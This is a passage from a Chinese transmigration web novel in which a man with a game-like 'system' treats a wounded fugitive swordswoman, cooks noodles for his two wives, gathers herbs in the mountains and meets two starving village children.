李逸正在外屋灶膛边烤火,闻言立刻起身进屋。他素来避嫌,连自家两位娘子换衣擦身都要回避,此刻面对陌生女子本就有些不自在,待看清那伤势,眉头瞬间拧成了疙瘩,这般凶险的伤口绝非普通百姓会有的,这女子来历定然不简单。
李逸心中暗叫不妙,怕是救回了个麻烦。
再看女子身形,虽显瘦削却毫无柔弱之态,四肢线条紧实,隐约可见肌肉轮廓,更印证了他的猜测。
于巧倩也察觉到不对劲眉头紧锁,却还是忧心问道:“夫君,这姐姐伤得太重,咱们该怎么办?”
“你们先翻翻她身上有没有带伤药。”李逸说着转身去外屋端来一大盆温水:“倩儿,帮她擦拭下身上的血污,我来想办法。”
白雪儿在女子衣袖中翻找时,摸到一个硬邦邦的物件,竟是一副皮护腕,上面还插着一柄寒光凛冽的长匕首,除此之外别无他物。
李逸翻出之前在山里采的几株草药,低声念叨:“系统爸爸.....帮帮忙啊……”
【获得新生存技能:医术】
【医术:0/100(入门)】
李逸眼睛一亮,果然没白喊!
脑海中瞬间涌入诸多药理知识,手中这株形似枯草的植物原是卷柏,乃是外伤止血的良药,随即他又取出些晒干的蒲公英,这东西能消炎解毒。
将两种草药混合捣碎,调成一碗绿色的药糊,李逸端着进屋时于巧倩已擦拭干净女子的伤口,浅些的伤口已然止血,但那几道狰狞的伤口却仍在渗血。
女子面色惨白如纸,双眼紧闭,呼吸微弱得仿佛随时会断绝。
“既然救回来,总没有再丢出去的道理。”李逸咬了咬牙,决心施救。
女子肩头的贯穿伤最为严重,箭头从后方射入,三角铁制的箭头还带着倒勾,若是贸然从后方拔出,定会造成二次伤害。
李逸将自己的小匕首在油灯上反复炙烤消毒,深吸一口气,对准箭头露出的位置刺入。
昏迷中的女子眉头骤然拧紧,细长的剑眉拧成一个川字,无意识地闷哼了一声。
白雪儿吓得捂住眼睛不敢看,于巧倩则稳稳按住女子的身体,助李逸发力。
费了九牛二虎之力,李逸终于将箭头完整拔出,鲜血立刻喷涌而出,他连忙将药糊厚厚敷在伤口上,用洗净的破布紧紧按住,做完这一切,额头已布满汗水。
【医术熟练度+ 20】
李逸回过神察觉自己正盯着陌生女子的身体,连忙将药碗递给于巧倩:
“倩儿,剩下的伤口就交给你了。”说罢逃也似的躲到外屋,往灶膛里添柴,又往锅里加了水,以此掩饰尴尬。
十几分钟后,于巧倩的声音传来:“夫君,进来吧。”
李逸进屋,炕上的女子已穿好衣服,水盆里的水被染成殷红。
“夫君,你太厉害了!药糊一敷上,血就止住了!”白雪儿满眼崇拜地说道。
【白雪儿好感度+ 5(当前好感度 45)】
李逸看着女子干裂的嘴唇,吩咐道:“倩儿,用筷子沾点水,慢慢喂她喝些。”
能做的都已做完,女子能否挺过来只能看她自己的造化了。
白雪儿依偎在李逸身边,看向他的眼神里满是崇拜。
“雪儿,给夫君也端盆水来,我洗个脚歇歇。”
李逸话音刚落,便一头倒在炕上,片刻后便发出了均匀的鼾声。
白雪儿浅浅一笑,自从那晚之后,夫君便总不让她们伺候,也只有在他累得睡熟时,自己才能尽点心意,她细心地为李逸洗脚,于巧倩则继续耐心地给女子喂水。
次日天刚蒙蒙亮,李逸便醒了,心里惦记着未完工的石磨。
安装石磨还需木制手柄和连接磨盘的中心立柱,他之前购置木匠工具,便是为了此事。
【领悟新的生存技能:木工】
李逸惊喜不已,看来这系统的潜力远不止狩猎和耕种。
白雪儿一直守在他身边,双手支着下巴,笑眯眯地看着他忙碌,看了半天终于忍不住好奇的问道:“夫君,这是什么呀?”
“石磨。”李逸故作神秘地笑了笑。
“石磨?能做什么呀?”
李逸试着转动了一下磨盘,答道:“有了它,夫君能给你做好多好吃的。”
一听到吃,白雪儿立刻来了精神:“真的吗?”
“自然是真的,不过的雪儿帮我个小忙。”李逸取出一些小麦,“你帮我把谷壳捣碎吧。”
白雪儿欣然应允,鼓着小脸,神情认真地忙活起来。
清晨的霜冻格外厚重,直到太阳升高才渐渐消散,这般晴朗的天气却持续不了几日,入冬后,大荒村便会被大风席卷,一天两场风,一场刮半天。
里屋的于巧倩正想出去看看李逸和白雪儿在忙些什么,忽然听到一声细若游丝的低语:“水……”
她连忙端来水碗,小心翼翼地喂女子喝下,对方喝完便又陷入了昏睡。
李逸和白雪儿忙活了一上午,终于磨出一大碗面粉,面粉呈浅黄,细粉簌簌从指缝漏下时,还带着新麦的清甜味。
白雪儿用指尖沾了点送进嘴里,眉头轻轻皱起:“夫君,这小麦粉粉一点都不好吃呀。”
“别急,等会儿就让你见识它的厉害。”
李逸笑着取来陶盆,舀出一碗面粉,慢慢往里面添温水。
指尖刚触到面粉时,细粉便黏在指腹,随着温水注入,松散的面粉渐渐聚成絮状,他手腕轻转,掌心贴着盆壁揉按,将碎絮揉成一团,起初面团还带着颗粒感,揉着揉着便愈发光滑,最后竟变得像刚剥壳的鸡蛋般温润,捧在手里还能感受到掌心传来的温热。
“夫君,你揉的这团泥巴好软呀!”
白雪儿凑过来,指尖轻轻碰了下面团,又飞快缩回去,眼里满是好奇。
于巧倩也站在一旁,看着那团面团在李逸手中渐渐成型,嘴角噙着浅笑。
李逸将面团放在干净木板上,取来截断的长杆当擀面杖,杆身还带着木头的纹路,他双手扶着杆两端,轻轻往前推,面团便顺着杆的轨迹慢慢舒展,一开始面团还鼓鼓囊囊,推过三五次后,竟渐渐变成了薄而匀的面皮,李逸偶尔会停下来,用手指将边缘不齐的地方捏匀,再继续擀,直到面皮铺得比陶盆还大,才停下动作。
“雪儿,帮我拿刀来。”
“哦!来了.....”
李逸接过菜刀先沿着面皮边缘划了一圈,裁掉不规则的边角,再将完整的面皮折成三叠,刀刃贴着木板,稳稳地切成手指粗细的长条,展开时,面条根根分明,垂在手里还带着淡淡的面香,白雪儿伸手想抓,却被李逸笑着拦住:“等煮好再吃,保准比现在香十倍。”
灶膛里的火苗早已烧得旺,李逸先挖了块狍子油丢进铁锅,油块刚碰到锅底,便滋啦一声化开,金黄的油花在锅里打旋,还带着油脂特有的淳厚香气,他迅速切了些狍子肉,肉块肥瘦相间,下锅时油脂瞬间溅起,肉块很快收缩变色,边缘渐渐煎出焦香,灶边的白雪儿忍不住踮起脚,鼻子使劲嗅着:“好香啊!比烤肉还香!”
李逸笑着往锅里丢进洗净的山野菜,菜叶刚碰到热油便发出噼啪的轻响,鲜灵的香气瞬间漫开,混着肉香飘满整个屋子,撒了把粗盐和豆豉,等豆豉炒出香味李逸开始往锅里加水。
一翻耐心的等待后,水花沸腾。
“夫君,水开啦!”白雪儿指着锅里翻滚的水泡,兴奋地喊道。
李逸端起面条,手腕轻抖将面条抖进沸水中,原本笔直的面条刚入锅,便立刻舒展变软,在沸水中上下翻滚,水面上飘起一层细密的白沫。李逸用筷子轻轻拨散,防止面条粘连,偶尔低头闻一下汤汁的香味,嘴角不自觉地翘起来。
等面条煮得微微透明,他又把泡发好的木耳丝丢进去,木耳在沸水中舒展,黑亮的颜色混在面条里,格外显眼。
“好啦!”李逸将灶膛中燃烧的木柴拿出,用粗瓷碗盛面,先舀一勺滚烫的面汤打底,汤里浮着油花,还飘着碎碎的野菜叶,再夹起面条码在碗里,将面条堆得像小山,上面铺一层焦香的狍子肉和木耳丝,热气腾腾的白雾裹着香味直往人鼻子里钻。
【获得新生存技能:厨艺】
“快尝尝!”
李逸将一碗递到白雪儿面前,又给予巧倩端了一碗。
白雪儿握着筷子,先小心吹了吹面条,夹起一根送进嘴里,牙齿刚碰到面条时,便感受到它的软滑,肉汤的咸香、肉的油香、野菜的清甜,还有木耳的脆爽,一下子都在嘴里散开。
她眼睛瞬间亮了,用力点着头:
“夫君!太好吃了!比烤肉还好吃!”
于巧倩也夹了一筷子,面条滑进喉咙时,还带着温热的暖意,熟悉的麦香混着肉香在舌尖萦绕,这种从未有过体验让于巧倩惊叹:“夫君,这面条比我吃过的所有东西都香。”
李逸夹起面条,吹了吹送入口中,虽没有现代面条的细腻爽滑,但味道还是不差的,温热的汤汁滑过喉咙时,让他想起出租屋楼下的小面馆,鼻尖微微发酸。
“奶奶的,穿越过来终于吃上像样的饭了,什么都从零开始,我容易吗我!”
【这面条也太好吃了吧!夫君怎么这么厉害!】
【要是能天天吃夫君做的面,就太好了……】
二女的心声顺着热气飘进李逸耳中,他笑着又给两人各添了些面条:
“以后想吃,夫君天天给你们做。”
第十五章:落难女侠
三大碗汤面端上桌,不过半盏茶的功夫便见了底。
白雪儿捧着空碗,伸出舌尖仔细舔了舔碗沿,连粘在碗底的一小块野菜都用筷子扒拉出来吃了个干净,嘴角还沾着点面汤,眼睛却亮得像藏了星星。
“夫君!这面条太好吃了!”她抬眼看向李逸,眼神里的崇拜几乎要溢出来,连声音都带着雀跃的颤音。
李逸望向院角静静立着的石磨,眼底漾开一抹期待的笑意:
“这算什么,往后夫君还会给你们做更多好吃的,把你们姐俩都养得白白胖胖的。”
中午的面条攒足了力气,下午白雪儿干劲十足,拉着于巧倩一起给大麦小麦脱壳。
看着两人握着石杵,像捣蒜似的一下下捶打着,李逸心里忍不住一阵无奈。
人类的发展史,说到底就是工具迭代的历史,从原始的石器到现代化的机械,每一次工具的进步都能极大地提升生产效率,李逸此刻满脑子都是各种改良工具的想法,繁杂得像一团乱麻,只觉得就算把一天掰成两半用,也难以一一实现。
算算日子,他穿越到这个世界还不到半月,当务之急是解决温饱做好原始积累,后续的发展只能顺其自然。
粮店里卖的都是带谷壳的粗粮,精米的价格要翻一倍不止,寻常人家根本负担不起,只能用这种最笨拙的石杵脱壳。
想到米缸里满满当当的粟米,还有物品栏里囤积的粮食,李逸头都大了!
照这个效率,怕是整个冬天,白雪儿和于巧倩都要耗在脱壳这件事上。
李逸琢磨着解决方案,要么做个大石碾子用牲口拉,要么就利用杠杆原理,做个脚踩的简易脱壳工具,后者简单当下就能实现,效率能比石杵提升两三倍。
拿定主意,李逸扛起打猎的工具进了山,打算顺路打些猎物,再伐棵合适的树干回来。
里屋的火炕上,秦心月缓缓睁开了双眼......
眼前一片模糊,她眨了眨眼,适应了许久才看清自己身处在一间简陋的木屋内,身下虽硬邦邦的却透着一股实在的暖意。
破碎的记忆渐渐回笼,她的藏身之处被官兵发现,被二十多名官兵围追堵截,她拼尽全力才杀出重围,肩膀却中了一箭。
后续支援的官兵大范围搜山,她不敢停留一路奔逃,最终还是因伤势过重,体力不支昏了过去。
屋外传来两个女子轻柔的交谈声,这里既不是大牢,那便是她是被好心人救了。
秦心月松了口气,嘴角扯出一抹苦涩的笑。
她的父亲靠山王秦林山,与当今齐武帝在藩王之争中鏖战到最后,双方都已到了缺粮缺人的境地。谁曾想最关键的时刻,父亲手下的亲信叛变,与齐军里应外合攻破山寨,导致满盘皆输。
秦林山草莽出身,靠着一群江湖游侠自立为王,当初打着济世救人的旗号赢得了底层民众的支持,到头来却落得个死无全尸的下场。
秦心月对父亲的死并无多少仇恨,她清楚若是父亲最终称帝,也绝不会放过他的敌人,可这份心思又有谁能懂?齐武帝要的是斩草除根,方能高枕无忧。
一滴泪水顺着眼角滑落.....
房门吱呀一声被推开,一个模样清秀的女子走了进来,年纪看着与她不相上下。
“呀……你醒了!”于巧倩惊呼一声,快步走到炕边,语气里满是关切:“你是要喝水吗?”
“有没有吃的?我感觉好饿……”
秦心月的声音沙哑干涩,她已经逃亡了三天,这三天里别说吃饭,连水都没喝上几口,若不是自幼习武,身体素质远超常人,又凭着一股韧劲支撑恐怕早就被擒下。
“有,锅里的粥马上就好了。”
于巧倩说着转身快步走到屋外,掀开锅盖用木勺轻轻搅动了几下。
如今有李逸打猎家里的粮食再也不紧缺了,不用喝那种能数清米粒的稀粥,这锅粥熬得浓稠,米香顺着热气飘了出来。
她盛了一大碗粥,端回屋里,小心翼翼地将秦心月扶起,用勺子舀起粥吹凉了才慢慢喂到她嘴边。
一碗热粥下肚,秦心月感觉空荡荡的胃里终于有了暖意,精神也清爽了不少。
“谢谢……”她靠在墙壁上,目光落在白雪儿和于巧倩身上。
“这位姐姐,你真厉害!受了这么重的伤,一天就醒过来了。”白雪儿凑上前,语气里满是崇拜。
秦心月抬手摸了摸肩膀的伤口,依旧隐隐作痛,但既然已经止血便无大碍了。
“是你们救了我吗?”
白雪儿连忙摇头:“不是我们,是我夫君昨晚回来时看到你趴在路边,就把你带回来了,你身上的伤也都是夫君治好的。”
于巧倩闻言,悄悄掐了白雪儿一把。
秦心月的眉头微不可察地皱了一下,她昏迷时竟被一个陌生男子看光了身子,这对女儿家而言,是极大的清白损伤,可转念一想对方是救命恩人,她总不能因这点事恩将仇报,只能暗自释然。
三女之间陷入了短暂的沉默......
喝了一碗热粥,秦心月的体力恢复了些,但浑身的伤痛仍在,身体虚弱无力,显然需要静养一段时日。
“倩儿,雪儿,来搭把手!”院外传来李逸的呼喊声。
白雪儿立刻来了精神,欣喜地冲了出去,只见李逸正将一棵粗壮的树干从门外拖进来,后背还挂着一只五彩斑斓的野鸡和一只灰扑扑的兔子,身上沾着些草叶和泥土,显然是刚从山里回来。
白雪儿和于巧倩连忙上前帮忙,将树干拖进院子,白雪儿好奇地问:“夫君,附近有很多干柴,你怎么伐了一棵树回来呀?”
李逸笑着刮了刮她的鼻尖:“往后天冷了,总不能天天憋在屋里什么都不做吧,我打算用这木头做些桌椅什么的,也好方便些。”
“对了夫君,你救回来的那位姐姐醒了,巧倩姐姐刚给她喂过粥呢。”白雪儿想起正事,连忙说道。
“已经醒了?”
李逸有些意外,他原以为对方伤势过重会昏迷好几天,没想到不到一天就醒了过来。
“你要去看看吗?”白雪儿仰头问道。
李逸摇了摇头:“醒了就说明没大碍了,让她好好静养,只要不出现别的症状,慢慢就会康复的。”
李逸将野鸡拎到院角,熟练地褪去羽毛去除内脏,动作干净利落。
白雪儿站在一旁看着,馋得不住吞咽口水,眼睛紧紧盯着处理好的野鸡,仿佛已经闻到了肉香。
一番忙碌下来,一个多小时后,晚饭终于做好了。
出锅前,李逸特意盛出两碗浓郁的鸡汤,吩咐道:“给屋里的那位送去让她补补身子,早点好起来。”
李逸心里盘算着,对方早点康复就能早点离开,也能避免给这个家带来不必要的麻烦。
白雪儿端着鸡汤走进里屋,只见那位神色清冷的姐姐正靠在墙壁上,细细擦拭着那柄寒光闪闪的长匕首,眼神专注而锐利。
“姐姐,你尝尝我夫君炖的鸡汤,可香了,快趁热喝吧。”
白雪儿将碗放在炕边的小桌上,迫不及待地跑回外屋,生怕晚了就吃不到肉了。
外屋的木桌上,李逸正看着于巧倩说:“明天用剩下的鸡汤下面条,味道肯定比中午的还要香。”
于巧倩性子沉稳不像白雪儿那般馋嘴,却也被这话勾得下意识咽了咽口水,中午那碗面条她只吃了一口便喜欢上那种味道了,只是想到要先用石磨将小麦磨成粉,过程颇为繁琐又有些无奈。
李逸将两个肥美的鸡腿分别夹到白雪儿和于巧倩碗里,自己则夹起了鸡爪子,慢条斯理地啃了起来。
“夫君,你把最好的肉都给了我和姐姐,自己却吃鸡脚……”
白雪儿看着碗里的鸡腿,又看了看李逸手中的鸡脚,大眼睛里瞬间凝聚起水雾,声音都带上了委屈。
“傻丫头,夫君我就喜欢吃鸡脚啊。”
李逸揉了揉她的头发,笑着打趣:“快吃吧,你们姐俩不把身体养好,以后怎么替我们李家传宗接代呢?”
听到这话于巧倩的脸颊瞬间染上一层红晕,害羞地低下头,默默扒着碗里的饭。
白雪儿却一脸认真地点点头:“嗯!我一定能给夫君生个儿子!”
噗.....
白雪儿这一本正经的模样,逗得李逸差点把嘴里的鸡肉喷出来。
“怎么?夫君不信我吗?”白雪儿皱起小眉头,一脸不服气。
李逸连忙点头:“信!雪儿说什么夫君都信。不过.....我觉得生女儿也很好啊,像雪儿一样可爱,像倩儿一样聪明。”
“我教你们一句话,你们要记住,生男生女一样强,长大都能作栋梁!”
“好了,快吃饭吧。”
于巧倩的饭量不大,这段时间顿顿能吃饱,还经常有肉吃,之前亏空的身子渐渐补了回来,饭量也不像从前那般惊人了。
“倩儿,你去问问屋里那位,还要不要再吃点东西。”李逸吩咐道。
于巧倩应了一声走进里屋,此时秦心月已经将鸡汤喝完,空碗就放在炕边。
“夫君让我问你,还要不要再吃些东西?”
秦心月沉吟片刻开口:“如果方便的话,再给我来一碗粥吧。”
于巧倩点点头,转身去外屋端了一碗粥进来。
秦心月不是矫情之人,身体恢复了些,便不好意思再麻烦别人喂食,自己端过碗用嘴唇轻轻吹了吹,小口小口地喝了起来。
喝了没几口,她便察觉到粥里藏着一块不小的鸡肉。
怔了一下,她用筷子夹起鸡肉,轻轻咬了一口,浓郁的肉香味在嘴里弥漫开来,鲜而不腻,一块肉吃完她还有些意犹未尽,不等她喝完粥,白雪儿又端着一个碗走了进来,碗里装着几块肉和一些鲜嫩的蘑菇。
“多谢。”秦心月轻声道谢。
白雪儿得意地扬起下巴,炫耀道:“这都是我夫君做的,是不是特别好吃?我夫君可厉害了,他什么都会做!”说完,她又蹦蹦跳跳地回到了外屋。
秦心月看着碗中的鸡肉,心底不禁对这位救了自己的恩人多了几分好奇,他究竟是个怎样的人?
夜色渐深,李逸收拾完才走进里屋准备休息,昏黄的油灯散发着微弱的光芒,四目相对的瞬间,两人都有片刻的失神。
在李逸看来,眼前的女子自带一股冷酷女侠的气质,眉眼间的英气像极了林青霞饰演的东方不败,只是那份病态的苍白,又为她添了几分小女人的柔弱,形成了一种独特的反差感。
秦心月也在打量着李逸,眼前的男子看起来就是个再普通不过的山村农户,可那双眼睛却格外沉稳,透着与寻常农户不同的感觉。
“醒了?感觉怎么样?”李逸率先打破沉默,语气平静温和。
“好多了,多谢公子搭救。”秦心月的声音依旧有些沙哑,却比之前有力了不少。
李逸淡然一笑:“只是刚好遇到,总不能见死不救。”
“夫君,洗脚了。”
白雪儿端着一盆温水走进来,原本还想趁着李逸休息,好好伺候他一番,可她也清楚只要夫君没累到瘫倒,是绝不会让她动手的。
李逸接过水盆,笑着对白雪儿说:“辛苦雪儿了,你先去休息吧。”
白雪儿撇了撇嘴,却也只能乖乖点头,转身和于巧倩先爬到炕上。
油灯的光芒在屋里摇曳,映着满室的烟火气,倒也冲淡了几分此前的沉闷,秦心月就那么安静的看着,心中若有所思.....
第十六章:铁牛家的热炕头
“李三兄弟,起了没?”
正围着木桌吃早饭,院门外就传来何铁牛洪亮的喊声。
昨天他家第一次睡上火炕,一家人都对被这火炕惊得赞不绝口,有了火炕今年的冬天总算不用再缩着过冬了,所以天刚亮,何铁牛就按捺不住喜悦,急匆匆地跑来找李逸分享。
“哎哟李三兄弟,咱们搭的这火炕也太暖和了!真是个好东西啊!”
一进院子,何铁牛就搓着手直叹气,脸上满是满足的笑。
李逸闻言会心一笑,不忘叮嘱道:“对了铁牛哥,炕烧得太烫时别睡炕头啊,容易上火生病。”
“哎,知道了!”何铁牛连连点头:“回去我就跟婆娘说,让她把炕头空出来。”
他顿了顿,神情忽然变得有些扭捏,双手不自觉地搓着衣角,早上还在被窝里刘氏就催了他好几遍,让他趁空跟李逸进山,盼着能分些肉回来。
何铁牛本不想来的,可实在顶不住婆娘的碎碎念,只能硬着头皮过来:“呃……李三兄弟,你今天要进山打猎不?”
“巧了,正打算去。”李逸点头:“你来得正好,咱们一起去回来时还能帮我拖两棵树。”
何铁牛眼睛一亮,立马拍着胸脯应道:“好说!别的不行,力气活我最拿手!”
李逸背上弓箭和伐木工具,白雪儿跟在身后,一路送到院门口。
本想让她回屋,可看到她睁着圆溜溜的大眼睛,一眨不眨地望着自己,像只期待出门的小兽,便忍不住笑着招了招手:“走吧雪儿,夫君带你一起进山。”
“真的吗?”白雪儿惊喜地跑过来,伸手就要抢李逸身上的工具:“那我帮你拿这个!”
临走前,她像是忽然想起什么,又转身冲回屋里:“巧倩姐姐,我跟夫君进山啦,你要不要一起去?”
于巧倩看着炕上还在静养的秦心月,又瞥了眼米缸里待脱壳的粮食,笑着摇了摇头:“你们去吧,我留在家里看门,雪儿,跟着夫君进山可要听话,别给夫君添乱。”
“知道啦!”白雪儿脆生生地应着,蹦蹦跳跳地追上了李逸的脚步。
望着她欢快的背影,于巧倩眼底掠过一丝羡慕,羡慕白雪儿这般大大咧咧的性子,能轻易抓住眼前的快乐,忘却过往的伤痛。
另一边,何铁牛去找李逸时,刘氏抱着孩子出了门,没一会儿就领了几个村妇回来,脸上满是藏不住的得意。
“哎哟!我跟你们说啊,那火炕可暖和了!今年冬天我们家总算不用受冻喽!”
一进门,刘氏就扬着嗓门炫耀。
“火炕?那是啥?从没听过啊。”
“就是,刘氏,你不会是哄我们玩吧?”几个村妇你一言我一语,满脸疑惑。
跟着进屋后,她们先是在外屋就感受到了一股暖意,等进了里屋看到那黄泥堆砌的火炕,更是一头雾水,就这么个不起眼的土疙瘩,真有刘氏说的那么神奇?
刘氏把孩子轻轻放在炕上,自己先坐下,笑着招呼:“来,你们摸摸,坐下感受感受就知道了。”
赵寡妇率先走上前,在炕头坐下,屁股刚一沾炕面,就像被烫到似的猛地跳起来,惊叫道:
“哎哟!这咋这么烫!莫不是着火了吧?”
她惊愕地盯着炕面,见刘氏笑得一脸得意,才又小心翼翼地坐回去。
这次有了心理准备,没一会儿就体会到那股从炕底透上来的暖意,舒服地眯起了眼睛:
“哎哟哟,还真是热乎劲儿十足啊。”
“我就说嘛,前些天看铁牛总去西坡推黄土,原来是为了搭这玩意儿。”另一个村妇摸着炕沿,忍不住感叹。
赵寡妇索性直接躺下,伸了个懒腰:“哎哟,躺在这上面浑身都舒坦,就是硬了点。”
其他人见状,也纷纷凑上前坐下,一个个脸上都露出了惊奇又羡慕的神情。
刘氏看着这一幕,心里别提多得意了,她早就盘算好了,村里男人不多,也就她家铁牛力气大,这些人要是想搭火炕,少不了要找铁牛帮忙,到时候管饭不说,总得给些粮食当报酬。
果然,赵寡妇最先开口:“刘氏,让你家铁牛也给我家搭个火炕呗?我管他饭,搭完再给你家一斗米,你看行不?”
刘氏笑得合不拢嘴:“行是行,可这几天上冻了,黄土都硬得挖不动,土坯砖也晒不干,只能等明年开春喽。”
王寡妇忽然瞥了她一眼,狐疑地问道:“哎?我前几天好像看到李三也在你家忙活,这火炕是铁牛和他一起搭的吧?”
刘氏的笑容淡了些,轻描淡写地说:“哎呀,那李三细胳膊细腿的也就是来搭把手,累活重活还不是得靠我家铁牛。”
“我记得,你以前不是最看不上李三和王赖子吗?”又有人追问,语气里带着点看热闹的意味。
刘氏皱起眉,心里有些郁闷,好好的怎么又扯到李三身上了,可话都说到这份上,她也没法再糊弄。
以前的李三确实讨人嫌,可现在的李三不仅送过粟米,还送过兔肉,她实在不好再嚼舌根,只能含糊道:“李三啊……最近变化挺大,人勤快多了,我家铁牛看他是诚心想过日子,才帮衬他了一把。”
“对了,王赖子说,李三去县衙分地领粮种,还领回两个媳妇,是不是真的?”
赵寡妇心直口快,说完才意识到这话有些不妥。
旁边立马有人打趣:“哟,你这话是听王赖子说的?是在被窝里听他说的吧?”
“哎?你们装什么装!都是没了男人的寡妇,谁还不知道那点事儿。”赵寡妇脸一红,梗着脖子反驳。
话题很快又转到李三身上:“不过说真的,那李三也太糊涂了,连粮种都敢吃,来年不种地,秋收交不上税,官家肯定饶不了他。”
“可不是嘛,谁跟他过日子谁倒霉,饿急了眼,说不定连媳妇都能卖了。”
“你们听说没?就前几天,王赖子和他婆娘把孩子给卖了,就换了一斗米。”
“卖了也好,跟着他们俩也是遭罪,还不如换户好人家。”
看着几个寡妇坐在自家炕上东拉西扯,净说些闲言碎语,刘氏心里别提多郁闷了,可又不好赶人,只能强颜欢笑地陪着。
与此同时,山林里正是另一番景象.....
李逸带着白雪儿进山,这是她长这么大第一次踏入深山。高大的树木遮天蔽日,阳光透过枝叶的缝隙洒下来,在地上投下斑驳的光影,脚下的落叶厚厚的,踩上去沙沙作响。
白雪儿对一切都充满好奇,东瞧瞧西看看,眼睛亮得像藏了星星。
忽然,她发现一丛颜色鲜艳的蘑菇,红伞白杆,模样十分好看,顿时兴奋地喊道:
“夫君,你看这蘑菇,真漂亮!吃起来肯定很鲜美!”说着就要伸手去摘。
李逸吓得头皮发麻,连忙抓住她的手腕,急声道:“别碰!这蘑菇有毒!”
他赶紧打消了白雪儿的危险想法,耐心教她识别可食用的蘑菇,菌盖厚实颜色朴素的大多能吃,像这种颜色艳丽的,往往毒性极强。
白雪儿听得连连点头,这才知道越是好看的蘑菇,越不能碰。
自从获得医术这个生存技能后,李逸的脑海里就像多了一本活的药材百科全书。
以前他只认识几种价值高的药材,如今再进山,一眼就能认出不少常用药。大荒村背靠连绵的山脉,山里藏着无数天然药材,可除了少数郎中寻常猎户只能认识几种常见的。
这次进山,他收获颇丰,消炎止痛的蒲公英、活血化瘀的丹参,能提升免疫力的刺五加,样样都是实用的好东西。
在这个医疗落后的年代,求医问药难如登天,前几日白雪儿生病,大荒村连个郎中都没有,去乡里看病来回赶路就要一整天,若不是他身上有灵芝,连医药费都凑不齐。
如今掌握了医术,李逸不指望靠它赚钱,只希望能应对家人的一些小病小痛,就已足够。而且多认识些药材,日后就算猎不到猎物,也能靠采药材补贴家用。
“李三,这种草我经常见,居然是药材?”何铁牛指着李逸正在收集的刺五加,满脸惊讶。
李逸笑着解释:“是啊铁牛哥,这叫刺五加,是药材,我在乡里的药铺见过,能卖钱的。”
“能卖钱?”何铁牛眼睛一亮,立马蹲下采摘:“那我也多捡点,攒多了换粮食!”他可不傻,知道药材也是进项,有了钱就能让家人吃饱饭。
“对,没猎物,捡不到山货的时候,我们采药材也是个好办法。”李逸点头笑道。
“我也来帮忙!”白雪儿见状,也立马蹲下来,小手麻利地捡着地上的草药,眼睛里满是干劲。
可惜今天的运气不太好,在山林里转了一整天,连半点猎物的踪迹都没看到,不过倒是捡了不少干蘑菇和木耳,收获最多的还是各种药材。
上午的白雪儿还精力充沛,蹦蹦跳跳地问东问西,可到了下午,体力渐渐不支,话也少了很多,脚步也慢了下来。
“夫君,你每天都要走这么远的路吗?”她喘着气,抬头看向李逸,小脸上满是疲惫。
何铁牛在一旁笑道:“以前我跟李三兄弟进山,走得比这还深呢!今天是特意照顾你,没往里面去。”
“原来夫君每天都这么辛苦……”白雪儿的眼眶微微泛红,看向李逸的眼神里满是心疼。
夫君为了养家,这么辛苦,夫君真好!
李逸揉了揉她的头发,转头对何铁牛说:“铁牛哥,咱们出去吧,还得砍两棵树回去呢。”
“好,走吧,我这袋子都快装满了。”何铁牛拍了拍身上的布袋,里面鼓鼓囊囊的全是药材和山货。
三人回到山林外围,李逸挑选了两棵粗细合适的树干,有何铁牛帮忙,砍树的速度快了不少,没一会儿就将两棵树放倒,修整好枝干后,两人合力将树干拖向山下,白雪儿则跟在一旁,时不时帮着扶一下,脸上虽带着累意,却满是满足的笑容......
第十七章:替原主还债
眼看着就要回到村子,李逸忽然瞥见路边的田埂上,两个瘦小的身影正蹲在那里挖野菜。
天寒地冻的时节,两个孩子穿得破衣烂衫薄得像层纸,身上的补丁摞着补丁,露在外面的胳膊腿冻得通红,脚上的草鞋早已磨破,脚趾头蜷缩着,沾满了泥土,整个人脏兮兮的,仿佛刚从土堆里爬出来。
年纪稍大的是个女孩,瘦得只剩一把皮包骨,脖颈细得像芦柴棒,她小心翼翼地把挖到的野菜根须上的泥土擦掉,放进背上那只破了洞的筐里。
“姐姐……我饿……”旁边的小男孩捂着肚子,声音细弱,带着哭腔。
女孩从筐里捡起一颗刚拔下的野菜,递到他手里。
男孩接过,囫囵塞进嘴里,胡乱嚼了几下便梗着脖子咽了下去,看得人心里发紧。
李逸觉得这两个孩子有些眼熟,可一时想不起是哪家的。
身旁的何铁牛重重叹了口气,语气沉重:“唉……初四被抓取充军走得太早了,真是苦了这两娃。”
初四这个名字一入耳,李逸的脑海中忽然炸开一道灵光,原主李三的记忆碎片涌了上来。
李初四和原主李三其实还有一层亲戚关系,最让原主惦记的却是李初四的媳妇张绣娘。
村里的村妇大多五大三粗,张绣娘却是个例外,身形婀娜高挑,瓜子脸配着一双媚眼如丝的桃花眼,模样十分出挑。
之前李三和王赖子没少打她的主意,可张绣娘性子烈是个贞洁女子,平日里对两人的调笑总是泼辣地骂回去。
有一次王赖子想霸王硬上弓,被逼得她差点拿碎瓷片抹脖子,这事之后,再也没人敢轻易招惹她。
“豆子,大丫,这么晚了怎么还不回家?你们娘呢?”何铁牛粗着嗓门喊了一声。
两个孩子猛地站起身,小男孩吓得往姐姐身后躲,只露出一双怯生生的眼睛。
“我娘……我娘把腿摔伤了,在家躺着呢。”
大丫的声音细细的,带着哭腔:“家里没粮了,我们饿,就出来挖点野菜吃。”
何铁牛皱起眉:“你们家今年地里收成不算差,怎么还没入冬就断粮了?”
大丫猛地抬起头,一双乌溜溜的眼睛死死瞪着李逸,那眼神里满是怨恨。
李逸心里咯噔一下,终于想起来了!
就是上个月,李三饿急了眼,趁张绣娘不在家偷偷摸进她家,偷走了大半缸粟米,而这一切,恰好被当时躲在柴房后的大丫看了个正着。
“感情这又是原主造的孽。”
李逸心里一阵无语,看着两个孩子饿到连苦涩的野菜都要省着吃,心里很不是滋味。
他不算什么烂好人,可实在见不得这样的场景。
“时候不早了,铁牛哥,咱们先回家吧。”
李逸转身拖着树干往村里走,语气里带着几分沉闷。
“哦...来了”
何铁牛应了一声,快步跟上。
他自家也有孩子,自然心疼这俩娃,可这年头谁家日子都不好过,他家平日里也只是一天两顿稀粥配野菜,还是靠着李逸送的粟米和兔肉,这几天才稍微宽裕些,实在没能力帮衬别人。
到了李逸家院子,何铁牛放下树干便回了家。
白雪儿看出李逸情绪不对,犹豫了半天才大着胆子上前拉了拉他的衣袖:“夫君,你怎么了?从刚才起就不高兴,是雪儿做错什么了吗?”
李逸伸手刮了刮她的鼻尖,轻叹一声:“唉……雪儿,夫君以前做了太多混账事,还那样对过你和倩儿。”
